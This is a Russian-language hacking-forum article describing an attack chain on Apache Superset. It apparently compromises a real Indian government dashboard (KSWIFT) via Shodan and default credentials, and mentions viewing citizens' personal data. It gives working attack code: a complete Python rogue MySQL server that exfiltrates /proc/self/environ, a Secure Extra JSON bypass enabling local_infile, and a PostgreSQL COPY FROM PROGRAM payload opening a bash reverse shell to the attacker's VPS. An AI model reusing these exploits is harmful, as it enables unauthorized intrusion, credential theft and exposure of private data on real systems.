LIMB
Вход Регистрация

тема

[СТАТЬЯ] Apache Superset: от LFI через Rogue MySQL до RCE в контейнере СУБД

MrRoot · · 0 ответов · 887 просмотров

Всем привет.

На днях мне в руки попалась очередная популярная штука - Apache Superset. Это известная BI-платформа, которую аналитики юзают, чтобы строить красивые графики и дашборды. В Shodan их висит приличное количество, и админы часто вообще не думают о том, что эта панель торчит наружу.

Не удалось прогрузить медиа


Для обычных сотрудников это просто удобные отчеты. Но для нас это - золотая жила, которая подключена к базам данных компании.

Разработчики вроде как подстраховались: запретили выполнять опасные запросы в СУБД, закрыли опасные настройки. Но в этой статье мы разберем, как красиво обойти эти фильтры, получить LFI через фейковый MySQL-сервер и в итоге забрать шелл в контейнере базы данных.

Что это вообще такое?​

Если говорить по-простому, Apache Superset - это надстройка над базами данных. Админы подключают к ней PostgreSQL, Clickhouse, MySQL или другие СУБД, а аналитики пишут SQL-запросы и строят по ним графики.

Разработчики не хотели, чтобы через панель можно было разнести всю сеть, поэтому встроили защиту:

  • Superset не дает выполнять опасные запросы вроде INSERT или DROP в SQL-редакторе.
  • Он режет опасные параметры в строках подключения к базам (например, блокирует прямую передачу local_infile).
Но, как это обычно бывает, любую защиту можно обойти, если знать особенности работы сетевых протоколов.

Зайти в панель обычно не проблема: в Shodan по запросу http.title:"Superset" их полно, а дефолтные креды admin : admin до сих пор работают на куче серверов.

Не удалось прогрузить медиа


Что у нас под капотом? Обзор панели
После входа нас встречает стандартный рабочий стол Apache Superset. Вся панель состоит из нескольких основных вкладок, но нас интересуют вполне конкретные вещи.

1. Главный экран (Home)​

Это стартовая страница. Здесь собраны последние просмотренные отчеты, дашборды и графики.

Не удалось прогрузить медиа


Сразу видим дашборд с именем KSWIFT. Это индийская государственная система «одного окна» для бизнеса (K-SWIFT от KSIDC). Становится понятно, куда мы попали.

2. Вкладка Dashboards (Дашборды)

Здесь лежит полный список дашбордов и информация об их создателях.
​

Не удалось прогрузить медиа


В списке есть дашборды вроде KSWIFT DASHBOARD и тестовые панели. Владельцами значатся как системный администратор (admin admin), так и локальные пользователи проекта.


3. Вкладки Charts и Datasets (Графики и Источники данных)​

Тут отображаются визуализации и подключенные к панели таблицы СУБД.

Не удалось прогрузить медиа


Не удалось прогрузить медиа


В колонке Database мы видим имя подключенной базы - Kswift_Live (или PostgreSQL-KSWIFT). Все графики тянут инфу из нее, а значит, у Superset есть к ней прямой доступ.

4. SQL-редактор (SQL Lab)

Наш основной инструмент. Слева выбираем базу PostgreSQL-KSWIFT и схему public.​


Не удалось прогрузить медиа


Здесь мы можем писать SQL-запросы на чтение. На скриншоте видно, что обычный SELECT возвращает персональные данные: реальные имена, даты рождения, адреса,

Как двигаться дальше?​

Что делать, если мы заперты в SQL Lab без прав суперпользователя? Системные команды не запустить, файлы через функции PostgreSQL тоже не почитать.

Но Superset позволяет подключать свои базы данных. А раз мы можем заставить систему подключиться к нашему серверу, то можем атаковать её саму как клиент. И лучший способ для этого - поднять Rogue MySQL Server, чтобы прочитать локальные файлы на сервере Superset.

Что такое Rogue MySQL Server?​

Обычно клиент просит данные у сервера. Но в протоколе MySQL есть фича LOAD DATA LOCAL INFILE для загрузки файлов с клиента на сервер.

Дыра протокола в том, что сервер может прислать запрос на чтение файла в любой момент, даже если клиент его не запрашивал.

Не удалось прогрузить медиа


Схема простая:
  1. Жертва коннектится к нашему фейковому серверу.
  2. Сервер одобряет авторизацию и сразу шлет пакет: "Пришли мне файл /etc/passwd".
  3. Если у клиента активен параметр local_infile, его драйвер послушно считывает файл со своего диска и отправляет его нам.
В итоге мы получаем LFI на стороне любого приложения, которое подключилось к нашей базе.

Развертывание Rogue MySQL​

Чтобы прочитать файлы с сервера Superset, нам понадобится фейковый MySQL-сервер на нашей стороне. Для этого отлично подойдет легкий Python-скрипт на сокетах. Он прикидывается СУБД и заставляет подключившийся клиент отдать файл.

Сам код сервера выглядит следующим образом:

Python:
import socket
import struct

def read_packet(conn):
    try:
        header = conn.recv(4)
        if len(header) < 4:
            return None, None
        payload_len = struct.unpack("<I", header[:3] + b"\x00")[0]
        seq_id = header[3]
        
        payload = b""
        while len(payload) < payload_len:
            chunk = conn.recv(payload_len - len(payload))
            if not chunk:
                break
            payload += chunk
        return seq_id, payload
    except Exception as e:
        print(f"[-] Packet error: {e}")
        return None, None

def make_handshake_packet():
    protocol_version = b"\x0a"
    server_version = b"5.5.5-10.5.8-MariaDB-enterprise\x00"
    connection_id = b"\x01\x00\x00\x00"
    salt1 = b"\x3f\x3e\x6b\x23\x4f\x76\x24\x37"
    filler = b"\x00"
    cap_lower = b"\xff\xff"
    charset = b"\x08"
    status = b"\x02\x00"
    cap_upper = b"\x0f\x80"
    salt_len = b"\x15"
    reserved = b"\x00" * 10
    salt2 = b"\x28\x33\x38\x2f\x5a\x2f\x74\x46\x42\x32\x7d\x53"
    filler2 = b"\x00"
    auth_plugin = b"mysql_native_password\x00"
    
    payload = (
        protocol_version + server_version + connection_id + salt1 + filler +
        cap_lower + charset + status + cap_upper + salt_len + reserved +
        salt2 + filler2 + auth_plugin
    )
    
    packet_len = len(payload)
    header = struct.pack("<I", packet_len)[:3] + b"\x00"
    return header + payload

def run_rogue_server(ip="0.0.0.0", port=9000, file_to_read="/proc/self/environ"):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind((ip, port))
    except Exception as e:
        print(f"[-] Bind error: {e}")
        return
    
    server.listen(5)
    print(f"[*] Server listening on {ip}:{port}")
    
    while True:
        try:
            conn, addr = server.accept()
            print(f"[+] Client connected: {addr[0]}")
            
            conn.sendall(make_handshake_packet())
            
            _, auth_payload = read_packet(conn)
            if auth_payload is None:
                conn.close()
                continue
            
            conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
            
            _, query_payload = read_packet(conn)
            if query_payload is None:
                conn.close()
                continue
            
            file_bytes = file_to_read.encode('utf-8')
            payload_len = len(file_bytes) + 1
            header = struct.pack("<IB", payload_len, 1)[:3] + b"\x01\xfb"
            conn.sendall(header + file_bytes)
            
            content = b""
            while True:
                header = conn.recv(4)
                if len(header) < 4:
                    break
                payload_len = struct.unpack("<I", header[:3] + b"\x00")[0]
                if payload_len == 0:
                    break
                
                chunk = b""
                while len(chunk) < payload_len:
                    data = conn.recv(payload_len - len(chunk))
                    if not data:
                        break
                    chunk += data
                content += chunk
            
            decoded_content = content.replace(b"\x00", b"\n").decode('utf-8', errors='ignore')
            print(decoded_content)
            
            with open("exfiltrated.txt", "a", encoding="utf-8") as f:
                f.write(decoded_content + "\n")
                
            conn.close()
            print("[+] Session finished\n")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == '__main__':
    run_rogue_server(file_to_read="/proc/self/environ")

Как устроен обман клиента​

Две самые важные детали, которые заставляют эту атаку работать:

1. Фейковый ответ успешного входа:

Python:
conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
Это сырой пакет OK от MySQL в байтовом виде. Отправляя его клиенту, мы сообщаем, что логин и пароль верны. Так мы пропускаем фазу реальной проверки учетных данных.

2. Запрос файла через magic-байт:

Python:
header = struct.pack("<IB", payload_len, 1)[:3] + b"\x01\xfb"

В протоколе MySQL байт 0xfb (или \xfb в коде) сигнализирует клиенту о необходимости загрузить файл на сервер. Мы формируем этот заголовок, прикрепляем к нему путь к файлу и отправляем клиенту. Драйвер базы на стороне Superset видит эту команду и послушно высылает нам содержимое файла.

Запуск атаки и чтение файлов​

Вместо того чтобы гадать точные пути до конфигурационных файлов Python в контейнере Superset, мы пойдем более изящным путем и прочитаем файл /proc/self/environ.

В Linux папка /proc - это виртуальная файловая система с данными о процессах, а ссылка self указывает на тот процесс, который к ней обращается. Файл /proc/self/environ содержит все переменные окружения запущенного веб-сервера. Поскольку Superset крутится в Docker, админы почти наверняка прописали все пароли и секретные ключи именно там.

Наш скрипт по умолчанию настроен на чтение этого файла. Запускаем его на VPS:

Не удалось прогрузить медиа


После этого сервер переходит в режим ожидания на порту 9000: [*] Server listening on 0.0.0.0:9000

Почему нельзя выполнить RCE в дефолтной базе?

Потому что срабатывает встроенная защита самого Superset. По умолчанию в SQL Lab разрешены только SELECT-запросы. Любые попытки выполнить служебные команды вроде COPY, создать таблицу или записать файл будут заблокированы парсером веб-приложения еще до того, как запрос уйдет в базу данных.

Но мы можем обойти это ограничение приложения, просто добавив новое подключение - к нашему фейковому MySQL-серверу. Это позволит прочитать секреты веб-сервера и найти доступы от его внутренней базы метаданных, в которой у нас уже будут полные права.


Куда кликать? Разбираем меню баз данных​

Чтобы добавить подключение к нашему VPS, нужно зайти в настройки управления базами данных. Давай разберем, как устроен этот интерфейс.

Шаг 1. Открываем настройки подключения
В правом верхнем углу панели нажимаем на меню Settings (Настройки). В выпадающем списке ищем блок Data и кликаем на Database Connections (Подключения к базам данных).

Не удалось прогрузить медиа
​


Шаг 2. Обзор подключенных баз​

Перед нами открывается таблица со всеми базами, к которым у Superset есть доступ на чтение или запись.

Не удалось прогрузить медиа


Здесь мы можем увидеть важные параметры для каждой базы:

- Expose in SQL Lab - разрешено ли писать SQL-запросы к этой базе в редакторе (галочка должна стоять).
- DML - разрешено ли изменять данные (влияет на то, сможем ли мы писать что-то кроме SELECT).
- + DATABASE - яркая кнопка в правом углу, которая запускает мастер добавления нового сервера. Нажимаем на нее.

Шаг 3. Выбор типа СУБД​

В открывшемся окне выбираем MySQL. Как видно на скриншоте ниже, в зависимости от версии он может быть выведен прямо в виде отдельной плитки на главном экране мастера, либо его нужно будет выбрать в выпадающем списке под надписью Supported Databases.

Не удалось прогрузить медиа


Superset из коробки предлагает быстрые шаблоны для подключения PostgreSQL и SQLite. Для работы с другими СУБД нам нужно раскрыть список под надписью Supported Databases (Поддерживаемые базы данных) и выбрать там MySQL.

Шаг 4. Ввод строки подключения и первый облом​

После выбора MySQL перед нами появится окно для ввода настроек. Нам нужно заполнить поле SQLAlchemy URI.

Не удалось прогрузить медиа


Вбиваем туда адрес нашего фейкового сервера, запущенного на VPS:

mysql://root:password@IP_НАШЕГО_VPS:9000/test_db

Нажимаем кнопку Test Connection в первый раз. В интерфейсе Superset мы увидим ошибку:

ERROR: (builtins.NoneType) None
[SQL: (MySQLdb.OperationalError) (2013, 'Lost connection to server during query')]

А в консоли нашего VPS отобразится успешное подключение:

Не удалось прогрузить медиа


Вроде бы всё прошло по плану, но файл exfiltrated.txt оказывается абсолютно пустым.

В чём дело? Современные библиотеки-клиенты MySQL (включая MySQLdb, который использует Superset) по умолчанию защищены от LFI-атак. Параметр local_infile (разрешение на чтение и отправку локальных файлов по запросу сервера) в них изначально выключен из соображений безопасности.

Когда наш Rogue-сервер отправляет magic-пакет с требованием отдать /proc/self/environ, библиотека на стороне Superset видит, что эта опция отключена, и просто игнорирует запрос, отправляя нам пустой ответ и закрывая сессию.


Шаг 5. Обход защиты (Bypass) через Secure Extra​

Чтобы заставить клиентскую библиотеку прочитать файл, нам нужно принудительно включить local_infile. Напрямую в строке подключения (SQLAlchemy URI) передать этот параметр не получится - Superset его заблокирует.

Поэтому мы идем во вкладку тонких настроек:
  1. В окне подключения раскрываем спойлер Advanced (Дополнительно).
  2. Переходим во вкладку Security (Безопасность).
  3. Находим поле Secure extra (Безопасные дополнительные параметры).
  4. Прописываем туда следующий JSON, который передается напрямую в аргументы драйвера подключения:

    JSON:
    {  "connect_args": {
        "local_infile": true
      }
    }

    Этот JSON переопределяет стандартные настройки безопасности клиента и заставляет драйвер безоговорочно доверять серверу при запросе локальных файлов.

    Не удалось прогрузить медиа


    Шаг 6. Повторный запуск и долгожданный слив secrets

    После сохранения настроек с включенным Secure extra снова нажимаем кнопку Test Connection.

    В этот раз библиотека Superset послушно считывает виртуальный файл /proc/self/environ из своей памяти и отправляет его нашему фейковому серверу. В консоли VPS мы наблюдаем долгожданный дамп:

    Не удалось прогрузить медиа
Джекпот! Все внутренние секреты и пароли от метабазы у нас в кармане.

Куда двигаться дальше? Готовим RCE​

Теперь, когда у нас есть доступы к базе данных, перед нами открывается прямая дорога к получению RCE.

Поскольку база данных db находится во внутренней Docker-сети и закрыта брандмауэром от внешнего мира, мы не сможем подключиться к ней со своего VPS напрямую. Но нам это и не нужно! Мы заставим сам Superset подключиться к своей собственной базе.

Наш план действий:
  1. Добавить новое подключение к базе данных в Superset, но указать в качестве хоста внутренний адрес db:5432.
  2. Поскольку мы сами создаем подключение, мы явно включим галочки Expose database in SQL Lab и Allow DML в настройках. Это позволит нам писать любые запросы во внутренней консоли.
  3. Подключившись к внутренней базе под учетной записью владельца (superset), мы сможем обойти ограничения прав и выполнить системные команды в ОС через PostgreSQL.

    Шаг 7. Подключаемся к внутренней метабазе

    Возвращаемся к нашему знакомому интерфейсу Database Connections и добавляем новое подключение:
    1. Нажимаем кнопку + DATABASE.
      2. Выбираем тип СУБД PostgreSQL.
      3. В поле SQLAlchemy URI прописываем реквизиты, полученные из переменных окружения (вставляем реальный пароль, который мы слили)

      postgresql://superset:superset@db:5432/superset

      4. Переходим во вкладку Advanced -> SQL Lab.

      Обязательно ставим галочки напротив:

      Expose database in SQL Lab (чтобы база была доступна для выполнения запросов).
      Allow CREATE TABLE AS и Allow DML (чтобы мы могли выполнять запросы на изменение данных).

      5. Нажимаем Connect. 

      Не удалось прогрузить медиа



      Шаг 8. Выход в RCE через SQL Lab

      Теперь переходим в редактор запросов: в верхнем меню выбираем SQL Lab -> SQL Editor. В левой панели в выпадающем списке баз данных выбираем наше новое подключение PostgreSQL.

      Прежде чем выполнять основной пейлоад, готовим слушатель (listener) на нашем VPS:

      nc -lvnp 8888

      Не удалось прогрузить медиа


      Возвращаемся в SQL Lab и пишем классический PostgreSQL-запрос для выполнения системных команд через конструкцию COPY FROM PROGRAM. Поскольку мы подключены под пользователем superset, который является владельцем базы данных внутри контейнера СУБД, у нас есть все необходимые привилегии для выполнения этой операции:

      SQL:
      DO $$
      BEGIN
          DROP TABLE IF EXISTS cmd_exec;
          CREATE TABLE cmd_exec(cmd_output text);
          COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/IP_НАШЕГО_VPS/8888 0>&1"';
      END
      $$;

      Нажимаем кнопку Run.

      Не удалось прогрузить медиа


      В этот же момент СУБД PostgreSQL внутри докер-окружения послушно запускает системный шелл, который стучится на наш VPS. В терминале слушателя появляется заветная строка:

      Не удалось прогрузить медиа


      Шелл получен. На этом моменте мы остановимся, так как дальнейший побег из Docker-контейнера на хост-систему выходит за рамки этой статьи. Векторы побега (будь то монтирование Docker-сокета, уязвимости ядра или некорректно настроенные привилегии) всегда уникальны для каждого конкретного сервера, зависят от версии ядра Linux и окружения, а мануалов по Docker escape в сети и без того более чем достаточно.

      Почему я создавал новое подключение, а не использовал готовое?

      Здесь есть важный нюанс с правами и политиками безопасности:

      1. Ограничения Superset: Существующее в системе подключение было добавлено администратором в режиме "Read-Only" (без активного параметра Allow DML). Фильтры панели просто не пропустили бы туда ничего, кроме простых SELECT-запросов.

      2. Создание своего источника: Получив логин и пароль от метабазы из виртуального файла /proc/self/environ, я смог заново авторизовать эту базу в панели, но уже с правами владельца и включенными галочками Allow DML и Expose in SQL Lab. Это и позволило обойти любые запреты на выполнение команд.

      Итоги:

      Описанная техника интересна тем, что связку LFI (через фейковый MySQL) с последующим переходом в RCE через повторное подключение внутренней базы метаданных практически не встретишь в публичных мануалах по Apache Superset. В большинстве отчетов исследователи ограничиваются либо простым чтением конфигов, либо генерацией сессий через дефолтный Flask SECRET_KEY.

      На этом всё. До встречи в новых статьях.






👍78 ❤️12 🔥9 😮9

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.